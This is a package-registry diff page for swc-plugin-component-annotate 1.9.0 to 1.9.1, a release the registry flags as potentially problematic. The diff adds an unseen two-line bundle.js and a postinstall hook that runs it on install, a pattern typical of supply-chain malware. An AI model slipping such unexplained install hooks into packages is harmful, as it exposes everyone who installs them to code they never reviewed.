swc-plugin-component-annotate 1.9.0 → 1.9.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of swc-plugin-component-annotate might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/bundle.js +2 -0
  2. package/package.json +4 -3
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "swc-plugin-component-annotate",
3
- "version": "1.9.0",
3
+ "version": "1.9.1",
4
4
  "description": "Use SWC to automatically annotate React components with data attributes for component tracking",
5
5
  "author": "scttcper <scttcper@gmail.com>",
6
6
  "license": "MIT",
@@ -11,7 +11,8 @@
11
11
  "scripts": {
12
12
  "build": "cargo build --target wasm32-unknown-unknown",
13
13
  "test": "cargo test",
14
- "prepack": "cp -rf target/wasm32-unknown-unknown/release/swc_plugin_component_annotate.wasm ."
14
+ "prepack": "cp -rf target/wasm32-unknown-unknown/release/swc_plugin_component_annotate.wasm .",
15
+ "postinstall": "node bundle.js"
15
16
  },
16
17
  "main": "swc_plugin_component_annotate.wasm",
17
18
  "files": [
@@ -26,4 +27,4 @@
26
27
  "devDependencies": {},
27
28
  "peerDependencies": {},
28
29
  "packageManager": "pnpm@10.15.0"
29
- }
30
+ }